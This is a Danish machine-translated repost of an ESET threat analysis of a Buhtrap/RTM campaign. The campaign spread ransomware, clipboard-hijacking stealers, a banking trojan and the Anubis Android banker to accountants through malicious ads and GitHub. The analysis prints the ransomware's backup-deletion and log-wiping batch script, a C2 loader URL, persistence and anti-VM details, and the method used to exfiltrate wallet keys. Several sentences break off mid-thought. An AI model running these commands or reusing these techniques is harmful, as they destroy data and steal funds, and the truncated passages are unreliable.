For at målrette revisorer i et cyberangreb kan du bruge arbejdsdokumenter, de søger efter online. Dette er nogenlunde, hvad en cybergruppe har gjort i løbet af de sidste par måneder, og distribueret kendte bagdøre.
Buhtraps kildekode er tidligere blevet lækket online, så alle kan bruge den. Vi har ingen oplysninger om tilgængelighed af RTM-kode.
I dette indlæg vil vi fortælle dig, hvordan angriberne distribuerede malware ved hjælp af Yandex.Direct og hostede det på GitHub. Indlægget afsluttes med en teknisk analyse af malwaren.
Buhtrap og RTM er tilbage i erhvervslivet
Spredningsmekanisme og ofre
De forskellige nyttelaster, der leveres til ofrene, deler en fælles udbredelsesmekanisme. Alle ondsindede filer oprettet af angriberne blev placeret i to forskellige GitHub-depoter.
Typisk indeholdt repository én downloadbar ondsindet fil, som ændrede sig ofte. Da GitHub giver dig mulighed for at se historikken for ændringer af et lager, kan vi se, hvilken malware der blev distribueret i en bestemt periode. For at overbevise offeret om at downloade den ondsindede fil, blev hjemmesiden blanki-shabloni24[.]ru, vist i figuren ovenfor, brugt.
Designet af webstedet og alle navnene på de ondsindede filer følger et enkelt koncept - formularer, skabeloner, kontrakter, prøver osv. I betragtning af at Buhtrap og RTM-software allerede er blevet brugt i angreb på revisorer tidligere, antog vi, at strategien i den nye kampagne er den samme. Det eneste spørgsmål er, hvordan offeret kom til angribernes websted.
infektion
Mindst flere potentielle ofre, der endte på dette websted, blev tiltrukket af ondsindet reklame. Nedenfor er et eksempel på en URL:
https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456
Som du kan se på linket, blev banneret lagt på det legitime regnskabsforum bb.f2[.]kz. Det er vigtigt at bemærke, at bannerne dukkede op på forskellige websteder, alle havde det samme kampagne-id (blanki_rsya), og de fleste var relateret til regnskabs- eller juridisk bistand. URL'en viser, at det potentielle offer brugte anmodningen "download fakturaformular", som understøtter vores hypotese om målrettede angreb. Nedenfor er de websteder, hvor bannerne dukkede op, og de tilsvarende søgeforespørgsler.
- download fakturaformular – bb.f2[.]kz
- prøvekontrakt - Ipopen[.]ru
- ansøgningsklageprøve - 77metrov[.]ru
- aftaleformular - blank-dogovor-kupli-prodazhi[.]ru
- prøve-retsbegæring - zen.yandex[.]ru
- prøveklage - yurday[.]ru
- eksempler på kontraktformularer – Regforum[.]ru
- kontraktform – assistentus[.]ru
- prøve lejlighedsaftale – napravah[.]com
- prøver af juridiske kontrakter - avito[.]ru
Webstedet blanki-shabloni24[.]ru kan være blevet konfigureret til at bestå en simpel visuel vurdering. Typisk virker en annonce, der peger på et professionelt udseende site med et link til GitHub, ikke som noget åbenlyst dårligt. Derudover uploadede angriberne kun ondsindede filer til depotet i en begrænset periode, sandsynligvis under kampagnen. Det meste af tiden indeholdt GitHub-lageret et tomt zip-arkiv eller en tom EXE-fil. Således kunne angribere distribuere reklamer gennem Yandex.Direct på websteder, der højst sandsynligt blev besøgt af revisorer, der kom som svar på specifikke søgeforespørgsler.
Lad os derefter se på de forskellige nyttelaster fordelt på denne måde.
Analyse af nyttelast
Kronologi af distribution
Den ondsindede kampagne begyndte i slutningen af oktober 2018 og er aktiv i skrivende stund. Da hele depotet var offentligt tilgængeligt på GitHub, kompilerede vi en nøjagtig tidslinje for distributionen af seks forskellige malware-familier (se figuren nedenfor). Vi har tilføjet en linje, der viser, hvornår bannerlinket blev opdaget, målt med ESET-telemetri, til sammenligning med git-historikken. Som du kan se, korrelerer dette godt med tilgængeligheden af nyttelasten på GitHub. Uoverensstemmelsen i slutningen af februar kan forklares med, at vi ikke havde en del af ændringshistorikken, fordi depotet blev fjernet fra GitHub, før vi kunne få det fuldt ud.
Figur 1. Kronologi af malwaredistribution.
Kodesigneringscertifikater
Kampagnen brugte flere certifikater. Nogle blev underskrevet af mere end én malware-familie, hvilket yderligere indikerer, at forskellige prøver tilhørte den samme kampagne. På trods af tilgængeligheden af den private nøgle signerede operatørerne ikke systematisk de binære filer og brugte ikke nøglen til alle prøver. I slutningen af februar 2019 begyndte angribere at oprette ugyldige signaturer ved hjælp af et Google-ejet certifikat, som de ikke havde den private nøgle til.
Alle certifikater involveret i kampagnen og de malware-familier, de underskriver, er angivet i tabellen nedenfor.
Vi har også brugt disse kodesigneringscertifikater til at etablere forbindelser med andre malware-familier. For de fleste certifikater fandt vi ikke prøver, der ikke blev distribueret gennem et GitHub-lager. TOV "MARIYA"-certifikatet blev dog brugt til at signere malware, der tilhører botnettet
Win32/Filecoder.Buhtrap
Den første komponent, der fangede vores opmærksomhed, var den nyopdagede Win32/Filecoder.Buhtrap. Dette er en Delphi binær fil, der nogle gange er pakket. Det blev hovedsageligt distribueret i februar-marts 2019. Det opfører sig, som det sømmer sig et ransomware-program – det søger på lokale drev og netværksmapper og krypterer de fundne filer. Det behøver ikke en internetforbindelse for at blive kompromitteret, fordi det ikke kontakter serveren for at sende krypteringsnøgler. I stedet tilføjer den et "token" til slutningen af løsesum-beskeden og foreslår at bruge e-mail eller Bitmessage til at kontakte operatører.
For at kryptere så mange følsomme ressourcer som muligt, kører Filecoder.Buhtrap en tråd designet til at lukke nøglesoftware ned, der kan have åbne filbehandlere, der indeholder værdifuld information, der kan forstyrre kryptering. Målprocesserne er primært databasestyringssystemer (DBMS). Derudover sletter Filecoder.Buhtrap logfiler og sikkerhedskopier for at gøre datagendannelse vanskelig. For at gøre dette skal du køre batchscriptet nedenfor.
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled
Filecoder.Buhtrap bruger en legitim online IP Logger-tjeneste designet til at indsamle oplysninger om besøgende på webstedet. Dette er beregnet til at spore ofre for ransomware, som er ansvaret for kommandolinjen:
mshta.exe "javascript:document.write('');"
Filer til kryptering vælges, hvis de ikke matcher tre ekskluderingslister. For det første er filer med følgende filtypenavne ikke krypteret: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys og .flagermus. For det andet er alle filer, for hvilke den fulde sti indeholder mappestrenge fra listen nedenfor, udelukket.
.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel
For det tredje er visse filnavne også udelukket fra kryptering, blandt dem filnavnet på løsesumsmeddelelsen. Listen er præsenteret nedenfor. Det er klart, at alle disse undtagelser er beregnet til at holde maskinen kørende, men med minimal trafiksikkerhed.
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe
Filkrypteringsskema
Når den er udført, genererer malwaren et 512-bit RSA-nøglepar. Den private eksponent (d) og modul (n) krypteres derefter med en hårdkodet 2048-bit offentlig nøgle (offentlig eksponent og modul), zlib-pakket og base64-kodet. Koden, der er ansvarlig for dette, er vist i figur 2.
Figur 2. Resultat af Hex-Rays-dekompilering af 512-bit RSA-nøglepargenereringsprocessen.
Nedenfor er et eksempel på almindelig tekst med en genereret privat nøgle, som er et token knyttet til løsesum-beskeden.
DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239
Angribernes offentlige nøgle er angivet nedenfor.
e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD
Filerne krypteres ved hjælp af AES-128-CBC med en 256-bit nøgle. For hver krypteret fil genereres en ny nøgle og en ny initialiseringsvektor. Nøgleoplysningerne tilføjes til slutningen af den krypterede fil. Lad os overveje formatet på den krypterede fil.
Krypterede filer har følgende overskrift:
Kildefildataene med tilføjelsen af den magiske VEGA-værdi krypteres til de første 0x5000 bytes. Alle dekrypteringsoplysninger er knyttet til en fil med følgende struktur:
- Filstørrelsesmarkøren indeholder et mærke, der angiver, om filen er større end 0x5000 bytes i størrelse
— AES-nøgleblob = ZlibCompress(RSAEncrypt(AES-nøgle + IV, offentlig nøgle for det genererede RSA-nøglepar))
- RSA-nøgleblob = ZlibCompress(RSAEncrypt(genereret RSA privat nøgle, hårdkodet RSA offentlig nøgle))
Win32/ClipBanker
Win32/ClipBanker er en komponent, der blev distribueret med mellemrum fra slutningen af oktober til begyndelsen af december 2018. Dens rolle er at overvåge indholdet af udklipsholderen, den leder efter adresser på cryptocurrency-punge. Efter at have bestemt målpungadressen, erstatter ClipBanker den med en adresse, der menes at tilhøre operatørerne. De prøver, vi undersøgte, var hverken indpakket eller sløret. Den eneste mekanisme, der bruges til at maskere adfærd, er strengkryptering. Operatør tegnebogsadresser krypteres ved hjælp af RC4. Målkryptovalutaer er Bitcoin, Bitcoin cash, Dogecoin, Ethereum og Ripple.
I den periode, hvor malwaren spredte sig til angribernes Bitcoin-punge, blev et mindre beløb sendt til VTS, hvilket sår tvivl om kampagnens succes. Derudover er der ingen beviser, der tyder på, at disse transaktioner overhovedet var relateret til ClipBanker.
Win32/RTM
Win32/RTM-komponenten blev distribueret i flere dage i begyndelsen af marts 2019. RTM er en trojansk bankmand skrevet i Delphi, rettet mod eksterne banksystemer. I 2017 offentliggjorde ESET-forskere
Buhtrap læsser
I nogen tid var en downloader tilgængelig på GitHub, der ikke lignede tidligere Buhtrap-værktøjer. Han vender sig til https://94.100.18[.]67/RSS.php?<some_id>
for at få det næste trin og indlæser det direkte i hukommelsen. Vi kan skelne mellem to adfærdsformer i anden fase-koden. I den første URL passerede RSS.php Buhtrap-bagdøren direkte - denne bagdør minder meget om den, der var tilgængelig efter kildekoden blev lækket.
Interessant nok ser vi flere kampagner med Buhtrap-bagdøren, og de bliver angiveligt drevet af forskellige operatører. I dette tilfælde er den største forskel, at bagdøren indlæses direkte i hukommelsen og ikke bruger den sædvanlige ordning med DLL-implementeringsprocessen, som vi talte om
Den anden, mere komplekse adfærd var, at RSS.php URL'en blev sendt til en anden loader. Det implementerede noget sløring, såsom at genopbygge den dynamiske importtabel. Formålet med bootloaderen er at kontakte C&C-serveren
Android/Spy.Banker
Interessant nok blev der også fundet en komponent til Android i GitHub-depotet. Han var i hovedafdelingen i kun én dag - 1. november 2018. Ud over at blive lagt ud på GitHub, finder ESET telemetri ingen beviser for, at denne malware bliver distribueret.
Komponenten blev hostet som en Android Application Package (APK). Det er stærkt sløret. Den ondsindede adfærd er skjult i en krypteret JAR placeret i APK'en. Den er krypteret med RC4 ved hjælp af denne nøgle:
key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]
Den samme nøgle og algoritme bruges til at kryptere strenge. JAR er placeret i APK_ROOT + image/files
. De første 4 bytes af filen indeholder længden af den krypterede JAR, som begynder umiddelbart efter længdefeltet.
Efter at have dekrypteret filen, opdagede vi, at det var Anubis - tidligere
- mikrofonoptagelse
- tage skærmbilleder
- få GPS-koordinater
- keylogger
- enhedsdatakryptering og krav om løsesum
- spamming
Interessant nok brugte bankmanden Twitter som en backup-kommunikationskanal for at få en anden C&C-server. Prøven, vi analyserede, brugte @JonesTrader-kontoen, men på analysetidspunktet var den allerede blokeret.
Banken indeholder en liste over målapplikationer på Android-enheden. Det er længere end listen opnået i Sophos-undersøgelsen. Listen omfatter mange bankapplikationer, online shoppingprogrammer som Amazon og eBay og cryptocurrency-tjenester.
MSIL/ClipBanker.IH
Den sidste komponent, der blev distribueret som en del af denne kampagne, var den eksekverbare .NET Windows-fil, som udkom i marts 2019. De fleste af de undersøgte versioner var pakket med ConfuserEx v1.0.0. Ligesom ClipBanker bruger denne komponent udklipsholderen. Hans mål er en bred vifte af kryptovalutaer, samt tilbud på Steam. Derudover bruger han IP Logger-tjenesten til at stjæle Bitcoins private WIF-nøgle.
Beskyttelsesmekanismer
Ud over de fordele, som ConfuserEx giver ved at forhindre fejlfinding, dumping og manipulation, inkluderer komponenten muligheden for at opdage antivirusprodukter og virtuelle maskiner.
For at bekræfte, at den kører på en virtuel maskine, bruger malwaren den indbyggede Windows WMI-kommandolinje (WMIC) til at anmode om BIOS-oplysninger, nemlig:
wmic bios
Derefter analyserer programmet kommandoudgangen og leder efter nøgleord: VBOX, VirtualBox, XEN, qemu, bochs, VM.
For at opdage antivirusprodukter sender malware en Windows Management Instrumentation-anmodning (WMI) til Windows Security Center vha ManagementObjectSearcher
API som vist nedenfor. Efter afkodning fra base64 ser opkaldet sådan ud:
ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')
Figur 3. Proces til at identificere antivirusprodukter.
Derudover tjekker malwaren om
Udholdenhed
Den version af malware, vi studerede, kopierer sig selv ind %APPDATA%googleupdater.exe
og indstiller attributten "skjult" for Google-biblioteket. Så ændrer hun værdien SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell
i Windows-registreringsdatabasen og tilføjer stien updater.exe
. På denne måde vil malwaren blive eksekveret, hver gang brugeren logger ind.
Ondsindet adfærd
Ligesom ClipBanker overvåger malwaren indholdet af udklipsholderen og leder efter cryptocurrency wallet-adresser, og når den findes, erstatter den med en af operatørens adresser. Nedenfor er en liste over måladresser baseret på, hvad der findes i koden.
BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL
For hver type adresse er der et tilsvarende regulært udtryk. STEAM_URL-værdien bruges til at angribe Steam-systemet, som det kan ses af det regulære udtryk, der bruges til at definere i bufferen:
b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b
Eksfiltrationskanal
Ud over at erstatte adresser i bufferen, er malwaren rettet mod de private WIF-nøgler i Bitcoin, Bitcoin Core og Electrum Bitcoin-punge. Programmet bruger plogger.org som en eksfiltreringskanal til at opnå den private WIF-nøgle. For at gøre dette tilføjer operatører private nøgledata til User-Agent HTTP-headeren, som vist nedenfor.
Figur 4. IP Logger-konsol med outputdata.
Operatører brugte ikke iplogger.org til at eksfiltrere tegnebøger. De har sandsynligvis tyet til en anden metode på grund af grænsen på 255 tegn i feltet User-Agent
vises i IP Logger-webgrænsefladen. I de prøver, vi studerede, blev den anden outputserver gemt i miljøvariablen DiscordWebHook
. Overraskende nok er denne miljøvariabel ikke tildelt nogen steder i koden. Dette tyder på, at malwaren stadig er under udvikling, og variablen er tildelt operatørens testmaskine.
Der er endnu et tegn på, at programmet er under udvikling. Den binære fil indeholder to iplogger.org URL'er, og begge forespørges, når data eksfiltreres. I en anmodning til en af disse URL'er er værdien i Referer-feltet foran "DEV /". Vi fandt også en version, der ikke var pakket med ConfuserEx, modtageren af denne URL hedder DevFeedbackUrl. Baseret på miljøvariabelnavnet mener vi, at operatørerne planlægger at bruge den legitime tjeneste Discord og dets webaflytningssystem til at stjæle cryptocurrency tegnebøger.
Konklusion
Denne kampagne er et eksempel på brugen af legitime reklametjenester i cyberangreb. Ordningen er rettet mod russiske organisationer, men vi ville ikke blive overrasket over at se et sådant angreb ved hjælp af ikke-russiske tjenester. For at undgå at gå på kompromis skal brugerne være sikre på omdømmet til kilden til den software, de downloader.
En komplet liste over indikatorer for kompromis og MITER ATT&CK-attributter er tilgængelig på
Kilde: www.habr.com